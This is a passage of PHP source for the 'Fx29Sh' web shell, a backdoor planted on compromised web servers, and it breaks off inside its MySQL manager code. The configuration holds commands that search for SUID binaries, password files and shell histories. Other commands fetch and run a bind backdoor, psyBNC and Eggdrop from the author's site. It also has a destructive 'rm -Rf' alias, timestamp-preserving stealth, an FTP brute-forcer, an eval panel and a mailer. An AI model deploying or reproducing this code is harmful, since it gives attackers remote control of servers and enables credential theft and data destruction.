· 8 years ago · Dec 10, 2017, 12:18 PM
1<?php
2############################################
3##[ FaTaLisTiCz_Fx Fx29Sh 3.3.03.09 ]##
4##[ By FaTaLisTiCz_Fx ]##
5##[ © Mar 08 - Mar 09 FeeLCoMz Community ]##
6##[ Written under PHP 5.2.5 ]##
7############################################
8define('sh_ver',"3.3.03.09"); ##
9#error_reporting(E_ALL); ##
10error_reporting(E_ERROR | E_PARSE); ##
11############################################
12
13######################
14##[ CONFIGURATIONS ]##
15######################
16
17##[ URL ]##
18#$sh_mainurl = "http://localhost/FX29SH/";
19$sh_mainurl = 'http://feelcomz.co.cc/';
20$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php";
21$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
22$sh_sourcez = array(
23 "Fx29Sh" => array($sh_mainurl."shellz/cyberz.txt","fx29sh.php"),
24 "psyBNC" => array($sh_mainurl."toolz/fx.tgz","fx.tgz"),
25 "Eggdrop" => array($sh_mainurl."toolz/fxb.tgz","fxb.tgz"),
26 "BindDoor" => array($sh_mainurl."toolz/bind.tgz","bind.tgz"),
27);
28
29##[ AUTHENTICATION ]##
30$auth = array(
31 "login" => "",
32 "pass" => "",
33 "md5pass" => "",
34 "hostallow" => array("*"),
35 "denied" => "<a href=\"$sh_mainurl\">".sh_name()."</a>: access denied!",
36);
37
38##[ ADVANCED ]##
39$tmp_dir = "";
40$log_email = "";
41$sess_cookie = "fx29shcook";
42$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
43$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
44$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
45$gzipencode = TRUE;
46$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
47$hexdump_lines = 8;
48$hexdump_rows = 24;
49$auto_surl = TRUE;
50
51##[ QUICK COMMANDS ]##
52if (!is_windows()) {
53 #Unix
54 $cmdaliases = array(
55 array("List Directory", "ls -al"),
56 array("Find all suid files", "find / -type f -perm -04000 -ls"),
57 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
58 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
59 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
60 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
61 array("Find config* files", "find / -type f -name \"config*\""),
62 array("Find config* files in current dir", "find . -type f -name \"config*\""),
63 array("Find all writable folders and files", "find / -perm -2 -ls"),
64 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
65 array("Find all writable folders", "find / -type d -perm -2 -ls"),
66 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
67 array("Find all service.pwd files", "find / -type f -name service.pwd"),
68 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
69 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
70 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
71 array("Find all .bash_history files", "find / -type f -name .bash_history"),
72 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
73 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
74 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
75 array("List file attributes on a Linux second extended file system", "lsattr -va"),
76 array("Show opened ports", "netstat -an | grep -i listen"),
77 array("-----",""),
78 array("Logged in users","w"),
79 array("Last connect","lastlog"),
80 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
81 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
82 array("Inet Address","/sbin/ifconfig | grep inet"),
83 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
84 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
85 array("CPU Info","cat /proc/version /proc/cpuinfo"),
86 array("Is gcc installed ?","locate gcc"),
87 array("Format box (DANGEROUS)","rm -Rf"),
88 array("-----",""),
89 array("wget & run psyBNC","wget ".$sh_sourcez["psyBNC"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1].";cd .fx;./config 29110;./fuck;./run"),
90 array("wget & extract EggDrop","wget ".$sh_sourcez["Eggdrop"][0].";tar -zxf ".$sh_sourcez["psyBNC"][1]),
91 array("wget & run BindDoor","wget ".$sh_sourcez["BindDoor"][0].";tar -zxvf ".$sh_sourcez["BindDoor"][1].";./bind"),
92 array("-----",""),
93 array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
94 );
95}
96else {
97 #Windows
98 $cmdaliases = array(
99 array("List Directory", "dir"),
100 array("Find index.php in current dir", "dir /s /w /b index.php"),
101 array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
102 array("Find c99shell in current dir", "find /c \"c99\" *"),
103 array("Find r57shell in current dir", "find /c \"r57\" *"),
104 array("Find fx29shell in current dir", "find /c \"fx29\" *"),
105 array("Show active connections", "netstat -an"),
106 array("Show running services", "net start"),
107 array("User accounts", "net user"),
108 array("Show computers", "net view"),
109 );
110}
111
112##[ PHP FILESYSTEM (By FaTaLisTiCz_Fx) ]##
113$phpfsaliases = array(
114 array("Read File", "read", 1, "File", ""),
115 array("Write File (PHP5)", "write", 2, "File","Text"),
116 array("Copy", "copy", 2, "From", "To"),
117 array("Rename/Move", "rename", 2, "File", "To"),
118 array("Delete", "delete", 1 ,"File", ""),
119 array("Make Dir","mkdir", 1, "Dir", ""),
120 array("Download", "download", 2, "URL", "To"),
121 array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
122 array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
123 array("Find Writable Dir", "fwritabledir", 2 ,"Dir", "Max"),
124 array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
125);
126
127if (!function_exists("posix_getpwuid")) { function posix_getpwuid($uid) { return FALSE; } }
128if (!function_exists("posix_getgrgid")) { function posix_getgrgid($gid) { return FALSE; } }
129if (!function_exists("posix_kill")) { function posix_kill($gid) { return FALSE; } }
130
131#############################
132##[ END OF CONFIGURATIONS ]##
133#############################
134
135define("starttime", getmicrotime());
136@set_time_limit(0);
137@ini_set("max_execution_time",0);
138@ignore_user_abort(TRUE);
139@set_magic_quotes_runtime(0);
140if (get_magic_quotes_gpc()) { strips($GLOBALS); }
141$_REQUEST = array_merge($_COOKIE, $_GET, $_POST);
142$d = @$_REQUEST["d"];
143$f = @$_REQUEST["f"];
144@extract($_REQUEST["fx29shcook"]);
145foreach ($_REQUEST as $k => $v) {
146 if (!isset($$k)) { $$k = $v; } #Converting request to variable
147}
148
149##[ SELF URL ]##
150if ($auto_surl) {
151 $include = "&";
152 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
153 $v = explode("=",$v);
154 $name = urldecode($v[0]);
155 $value = @urldecode($v[1]);
156 $needles = array("http://","https://","ssl://","ftp://","\\\\");
157 foreach ($needles as $needle) {
158 if (strpos($value,$needle) === 0) {
159 $includestr .= urlencode($name)."=".urlencode($value)."&";
160 }
161 }
162 }
163}
164if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); }
165
166##[ QUICK LAUNCH ]##
167$quicklaunch = array(
168 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\">",$surl),
169 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\">","#\" onclick=\"history.back(1)"),
170 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\">","#\" onclick=\"history.go(1)"),
171 array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\">",$surl."act=ls&d=%upd&sort=%sort"),
172 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\">",$surl."act=search&d=%d"),
173 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\">",$surl."act=fsbuff&d=%d"),
174 array("<img src=\"".$surl."act=img&img=help\" alt=\"About\">",$surl."act=about"),
175 array("-",""),
176 array("Security",$surl."act=security&d=%d"),
177 array("Processes",$surl."act=processes&d=%d"),
178 array("MySQL",$surl."act=sql&d=%d"),
179 array("Eval",$surl."act=eval&d=%d"),
180 array("Encoder",$surl."act=encoder&d=%d"),
181 array("Mailer",$surl."act=fxmailer"),
182 array("Toolz",$surl."act=tools&d=%d"),
183 array("milw0rm",milw0rm()),
184 array("Md5 Lookup","http://darkc0de.com/database/md5lookup.html"),
185 array("Images",$surl."act=img&img=listall"),
186 array("Feedback",$surl."act=feedback"),
187 array("Update",$surl."act=update"),
188 array("Kill Shell",$surl."act=selfremove")
189);
190if (!is_windows()) {
191$quicklaunch[] = array("<br>FTP Brute",$surl."act=ftpquickbrute&d=%d");
192}
193
194##[ FILE TYPES ]##
195$ftypes = array(
196 "html" => array("html","htm","shtml"),
197 "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
198 "exe" => array("sh","install","bat","cmd","sys","com"),
199 "ini" => array("ini","inf","conf"),
200 "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
201 "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
202 "sdb" => array("sdb"),
203 "phpsess" => array("sess"),
204 "download" => array("exe","com","sys","pif","src","lnk","zip","rar","gz","tar","pdf")
205);
206$exeftypes = array(
207 "php -q %f%" => array("php","php3","php4"),
208 "perl %f%" => array("pl","cgi")
209);
210$regxp_highlight = array(
211 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FF6600>","</font>"),
212 array("\.tgz$",1,"<font color=#C082FF>","</font>"),
213 array("\.gz$",1,"<font color=#C082FF>","</font>"),
214 array("\.tar$",1,"<font color=#C082FF>","</font>"),
215 array("\.bz2$",1,"<font color=#C082FF>","</font>"),
216 array("\.zip$",1,"<font color=#C082FF>","</font>"),
217 array("\.rar$",1,"<font color=#C082FF>","</font>"),
218 array("\.php$",1,"<font color=#00FF00>","</font>"),
219 array("\.php3$",1,"<font color=#00FF00>","</font>"),
220 array("\.php4$",1,"<font color=#00FF00>","</font>"),
221 array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
222 array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
223 array("\.ico$",1,"<font color=#00FFFF>","</font>"),
224 array("\.gif$",1,"<font color=#00FFFF>","</font>"),
225 array("\.png$",1,"<font color=#00FFFF>","</font>"),
226 array("\.htm$",1,"<font color=#00CCFF>","</font>"),
227 array("\.html$",1,"<font color=#00CCFF>","</font>"),
228 array("\.txt$",1,"<font color=#C0C0C0>","</font>"),
229 array("\.pdf$",1,"<font color=#FF99CC>","</font>")
230);
231
232##[ HIGHLIGHT CODE ]##
233$highlight_bg = "#E0E0E0";
234$highlight_comment = "#FF6600";
235$highlight_default = "#000080";
236$highlight_html = "#1300FF";
237$highlight_keyword = "#007700";
238$highlight_string = "#FF0000";
239
240@ini_set("highlight.bg",$highlight_bg);
241@ini_set("highlight.comment",$highlight_comment);
242@ini_set("highlight.default",$highlight_default);
243@ini_set("highlight.html",$highlight_html);
244@ini_set("highlight.keyword",$highlight_keyword);
245@ini_set("highlight.string",$highlight_string);
246
247#############################
248##[ END OF CONFIGURATIONS ]##
249#############################
250
251####################
252##[ AUTHENTICATE ]##
253####################
254foreach ($auth["hostallow"] as $k => $v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
255$s = "!^(".implode("|",$tmp).")$!i";
256if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
257 exit("<a href=\"$sh_mainurl\">".sh_name()."</a>ACCESS DENIED! Your host (".getenv("REMOTE_ADDR").") not allowed!");
258}
259if (!empty($auth["login"])) {
260 if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
261 if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
262 header("WWW-Authenticate: Basic realm=\"".sh_name().": Restricted Area\"");
263 header("HTTP/1.0 401 Unauthorized");
264 die($auth["denied"]);
265 }
266}
267
268###############
269##[ ACTIONS ]##
270###############
271if (!isset($act)) { $act = ""; }
272
273if ($act == "img") {
274 @ob_clean();
275
276 $images = imagez();
277 $imgequals = array(
278 "ext_tar" => array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
279 "ext_php" => array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
280 "ext_cpp" => array("ext_c"),
281 "ext_jpg" => array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
282 "ext_html" => array("ext_html","ext_htm"),
283 "ext_avi" => array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
284 "ext_lnk" => array("ext_lnk","ext_url"),
285 "ext_ini" => array("ext_ini","ext_css","ext_inf","ext_conf"),
286 "ext_doc" => array("ext_doc","ext_dot","ext_xls","ext_pdf"),
287 "ext_js" => array("ext_js","ext_vbs"),
288 "ext_cmd" => array("ext_cmd","ext_bat","ext_pif","ext_com"),
289 "ext_wri" => array("ext_wri","ext_rtf"),
290 "ext_txt" => array("ext_txt","ext_lng"),
291 "ext_swf" => array("ext_swf","ext_fla"),
292 "ext_mp3" => array("ext_mp3","ext_au","ext_midi","ext_mid","ext_wav"),
293 "ext_htaccess" => array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
294 );
295
296 #Show all available images
297 if ($img == "listall") {
298 foreach ($imgequals as $a=>$b) {
299 foreach ($b as $d) {
300 if ( ($a != $d) && (!empty($images[$d])) ) { echo("Warning! Remove \$images[".$d."]<br>"); }
301 }
302 }
303 natsort($images);
304 $k = array_keys($images);
305 echo "<body style=\"color: #00FF00\" bgcolor=black>";
306 foreach ($k as $u) { echo "<img src=\"".$surl."act=img&img=".$u."\"> $u "; }
307 exit;
308 }
309 #Image header
310 header("Content-type: image/gif");
311 header("Cache-control: public");
312 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
313 header("Cache-control: max-age=".(60*60*24*7));
314 header("Last-Modified: ".date("r",filemtime(__FILE__)));
315
316 foreach($imgequals as $k=>$v) {
317 if (in_array($img,$v)) { $img = $k; break; }
318 }
319
320 if (empty($images[$img])) { $img = "small_unk"; }
321 echo base64_decode($images[$img]);
322 exit;
323}
324##[ DEFAULT ACTIONS ]##
325else {
326
327 $lastdir = realpath(".");
328 chdir("./");
329 #Preparing buffer
330 $sess_data = @unserialize($_COOKIE[$sess_cookie]);
331 if (!is_array($sess_data)) { $sess_data = array(); }
332 if (!is_array(@$sess_data["copy"])) { $sess_data["copy"] = array(); }
333 if (!is_array(@$sess_data["cut"])) { $sess_data["cut"] = array(); }
334
335
336 fx29_buff_prepare();
337
338 foreach (array("sort","sql_sort") as $v) {
339 if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
340 if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
341 }
342 if ($sort_save) {
343 if (!empty($sort)) { setcookie("sort",$sort); }
344 if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
345 }
346
347 if (!isset($sort)) { $sort = $sort_default; }
348 $sort = htmlspecialchars($sort);
349 $sort[1] = strtolower($sort[1]);
350
351 ##[ ACTIONS ]##
352 if ($act == "gofile") {
353 if (is_dir($f)) {
354 $d = $f;
355 $act = "ls";
356 }
357 else {
358 $d = dirname($f);
359 $f = basename($f);
360 $act = "f";
361 }
362 }
363
364 #Starting output buffer
365 ob_start();
366 ob_implicit_flush(0);
367
368 ##[ HEADERS ]##
369 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
370 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
371 header("Cache-Control: no-store, no-cache, must-revalidate");
372 header("Cache-Control: post-check=0, pre-check=0", FALSE);
373 header("Pragma: no-cache");
374
375 $tmp_dir = realpath($tmp_dir);
376 $tmp_dir = str_replace("\\",DIRECTORY_SEPARATOR,$tmp_dir);
377 if (substr($tmp_dir,-1) != DIRECTORY_SEPARATOR) { $tmp_dir .= DIRECTORY_SEPARATOR; }
378
379 if (!is_array(@$actbox)) { $actbox = array(); }
380 $dspact = $act = htmlspecialchars($act);
381 $disp_fullpath = $ls_arr = $notls = null;
382
383 $ud = @urlencode($d);
384 if (empty($d)) { $d = realpath("."); }
385 elseif (realpath($d)) { $d = realpath($d); }
386 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
387 if (substr($d,-1) != DIRECTORY_SEPARATOR) { $d .= DIRECTORY_SEPARATOR; }
388 $d = str_replace("\\\\","\\",$d);
389 $dispd = htmlspecialchars($d);
390
391 if (safemode()) {
392 $hsafemode = '<font class="on"><b>SAFE MODE IS ON</b></font>';
393 $safemodeexecdir = @ini_get("safe_mode_exec_dir");
394 }
395 else {
396 $hsafemode = '<font class="off"><b>SAFE MODE IS OFF</b></font>';
397 }
398
399 $v = @ini_get("open_basedir");
400 if (strtolower($v) == "on") { $hopenbasedir = '<font class="on">'.$v.'</font>'; }
401 else { $hopenbasedir = '<font class="off">OFF (Not Secure)</font>'; }
402
403 $wd = (is_writable($d)) ? '<font class="on">[W]</font>' : '<font class="off">[R]</font>';
404
405 ##################
406 ##[ HTML START ]##
407 ##################
408 echo html_style(); ?>
409<!-- Main Menu -->
410<div id="main">
411
412 <div class="bartitle"><?php echo html_header() ?></div>
413
414 <table id="pagebar">
415
416 <!-- Server Info -->
417 <tr><td colspan="2">
418 <div class="fleft"><?php echo $hsafemode; ?></div>
419 <div class="fright">
420 IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput="<?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?>"><?php echo @gethostbyname($_SERVER["HTTP_HOST"]); ?></a>
421 You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput="<?php echo $_SERVER["REMOTE_ADDR"]; ?>"><?php echo $_SERVER["REMOTE_ADDR"]; ?></a>
422 </div>
423 </td></tr>
424
425 <tr><td width="50%">
426 <table class="info">
427<?php
428 srv_info("Software",srv_software($surl));
429 srv_info("Uname",php_uname());
430 srv_info("User",(is_windows()) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id"));
431?>
432 </table>
433 </td>
434 <td width="50%">
435 <table class="info">
436<?php
437 if (is_windows()) { srv_info("Drives",disp_drives($d,$surl)); }
438 srv_info("Freespace",disp_freespace($d));
439?>
440 </table>
441 </td></tr>
442
443 <tr><td colspan="2">
444<?php
445 echo "\t\t\t".get_status();
446 echo "<br>\n";
447 echo (isset($safemodeexecdir)) ? "\n\t\t\tSafemodeExecDir: ".$safemodeexecdir."<br>" : "";
448 echo (showdisfunc()) ? "\t\t\tDisFunc: ".showdisfunc() : "";
449 echo "\n";
450?>
451 </td></tr>
452 <!-- End of Server Info -->
453
454 <!-- Quicklaunch -->
455 <tr><td colspan="2" class="quicklaunch">
456<?php
457 ##[ QUICKLAUNCH ]##
458 foreach($quicklaunch as $item) {
459 if ($item[0] == "-") {
460 echo "\t\t</td></tr>\n";
461 echo "\t\t<tr><td colspan=\"2\" class=\"quicklaunch\">\n";
462 }
463 else {
464 $item[1] = str_replace("%d",urlencode($d),$item[1]);
465 $item[1] = str_replace("%sort",$sort,$item[1]);
466 $v = realpath($d."..");
467 if (empty($v)) {
468 $a = explode(DIRECTORY_SEPARATOR,$d);
469 unset($a[count($a)-2]);
470 $v = join(DIRECTORY_SEPARATOR,$a);
471 }
472 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
473 echo "\t\t\t<a href=\"".$item[1]."\">".$item[0]."</a>\n";
474 }
475 }
476?>
477 </td></tr>
478 <!-- End of Quicklaunch -->
479
480 <!-- Directory Info -->
481 <tr><td colspan="2">
482 <div class="fleft">
483<?php
484 $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
485 $i = 0;
486 foreach($pd as $b) {
487 $t = ""; $j = 0;
488 foreach ($e as $r) {
489 $t.= $r.DIRECTORY_SEPARATOR;
490 if ($j == $i) { break; }
491 $j++;
492 }
493 echo "\t\t\t<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\">".htmlspecialchars($b).DIRECTORY_SEPARATOR."</a>\n";
494 $i++;
495 }
496 echo "\t\t\t";
497 echo (is_writable($d)) ? "<b>".view_perms_color($d)."</b>" : "<b>".view_perms_color($d)."</b>";
498 echo "\n";
499?>
500 </div>
501 <div class="fright">
502 <form name="f_dir" method="POST">
503 <input type="hidden" name="act" value="ls">
504 Directory: <input type="text" name="d" size="60" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
505 </form>
506 </div>
507 </td></tr>
508 <!-- End of Directory Info -->
509
510 </table>
511
512</div>
513<!-- End of Main Menu -->
514
515<!-- Main Info -->
516<div id="maininfo">
517
518<?php
519 #########################
520 ##[ INFORMATION TABLE ]##
521 #########################
522
523 if ($act == "") { $act = $dspact = "ls"; }
524
525 ##[ SQL ]##
526 if ($act == "sql") {
527 $sql_surl = $surl."act=sql";
528
529 if (!isset($sql_login)) { $sql_login = ""; }
530 if (!isset($sql_passwd)) { $sql_passwd = ""; }
531 if (!isset($sql_server)) { $sql_server = ""; }
532 if (!isset($sql_port)) { $sql_port = ""; }
533
534 if (!isset($sql_tbl)) { $sql_tbl = ""; }
535 if (!isset($sql_act)) { $sql_act = ""; }
536 if (!isset($sql_tbl_act)) { $sql_tbl_act = ""; }
537 if (!isset($sql_order)) { $sql_order = ""; }
538 if (!isset($sql_act)) { $sql_act = ""; }
539 if (!isset($sql_getfile)) { $sql_getfile = ""; }
540
541 #SQL URL Setting
542 if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
543 if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
544 if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
545 if (@$sql_port) { $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
546 if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
547
548 $sql_surl .= "&";
549?>
550<!-- SQL Manager -->
551<div class="barheader">.: SQL Manager (Under Construction) :.</div>
552<div class="barheader"><?php
553 if (@$sql_server) {
554 $sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
555 $err = mysql_smarterror($sql_sock);
556 @mysql_select_db($sql_db,$sql_sock);
557 if (@$sql_query and $submit) {
558 $sql_query_result = mysql_query($sql_query,$sql_sock);
559 $sql_query_error = mysql_smarterror($sql_sock);
560 }
561 }
562 else { $sql_sock = FALSE; }
563
564 if (!$sql_sock) {
565 if (!@$sql_server) { echo "No Connection!"; }
566 else { disp_error("ERROR: ".$err); }
567 }
568 else {
569 #SQL Quicklaunch
570 $sqlquicklaunch = array();
571 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
572 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
573 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
574 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
575 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
576 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
577
578 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
579 if (count($sqlquicklaunch) > 0) {
580 foreach($sqlquicklaunch as $item) {
581 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
582 }
583 }
584 }
585?>
586</div>
587
588<table>
589 <tr>
590<?php
591 #Login Form
592 if (!$sql_sock) {
593?>
594 <td>
595 <form name="f_sql" action="<?php echo $surl; ?>" method="POST">
596 <input type="hidden" name="act" value="sql">
597 <table class="explorer">
598 <tr>
599 <th>Username<br><input type="text" name="sql_login" value="root"></th>
600 <th>Password<br><input type="password" name="sql_passwd" value=""></th>
601 <th>Database<br><input type="text" name="sql_db" value=""></th>
602 <th>Host<br><input type="text" name="sql_server" value="localhost"></th>
603 <th>Port<br><input type="text" name="sql_port" value="3306" size="3"></th>
604 </tr>
605 <tr><th colspan="5"><input type="submit" value="Connect"></th></tr>
606 </table>
607 </form>
608<?php
609 }
610 else {
611 #Start left panel
612?>
613 <td>
614 <center>
615 <a href="<?php echo $sql_surl; ?>"><b>HOME</b></a>
616 <hr size="1" noshade>
617<?php
618 $result = mysql_list_dbs($sql_sock);
619 if (!$result) { echo mysql_smarterror(); }
620 else {
621?>
622 Database
623 <form action="<?php echo $surl?>">
624 <input type="hidden" name="act" value="sql">
625 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
626 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
627 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
628 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
629 <select name="sql_db" onchange="this.form.submit()">
630<?php
631 $c = 0;
632 $dbs = "";
633 while ($row = mysql_fetch_row($result)) {
634 $dbs .= "\t\t<option value=\"".$row[0]."\"";
635 if (@$sql_db == $row[0]) { $dbs .= " selected"; }
636 $dbs .= ">".$row[0]."</option>\n";
637 $c++;
638 }
639 echo "\t\t<option value=\"\">Databases (".$c.")</option>\n";
640 echo $dbs;
641 }
642?>
643 </select>
644 </form>
645 </center>
646 <hr size="1" noshade>
647<?php
648 if (isset($sql_db)) {
649 $result = mysql_list_tables($sql_db);
650 if (!$result) { echo mysql_smarterror($sql_sock); }
651 else {
652 echo "\t-=[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]=-<br><br>\n";
653 $c = 0;
654 while ($row = mysql_fetch_array($result)) {
655 $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
656 $count_row = mysql_fetch_array($count);
657 echo "\t<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>\n";
658 mysql_free_result($count);
659 $c++;
660 }
661 if (!$c) { echo "No tables found in database"; }
662 }
663 }
664?>
665
666 </td>
667 <td>
668<?php
669 #Start center panel
670 $diplay = TRUE;
671 if (@$sql_db) {
672 if (!is_numeric($c)) { $c = 0; }
673 if ($c == 0) { $c = "no"; }
674 echo "\t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
675 if (count(@$dbquicklaunch) > 0) {
676 foreach($dbsqlquicklaunch as $item) {
677 echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";
678 }
679 }
680 echo "</b></center>\n";
681 $acts = array("","dump");
682 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
683 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
684 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
685 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
686 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
687 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
688 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
689 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
690 elseif ($sql_tbl_act == "insert") {
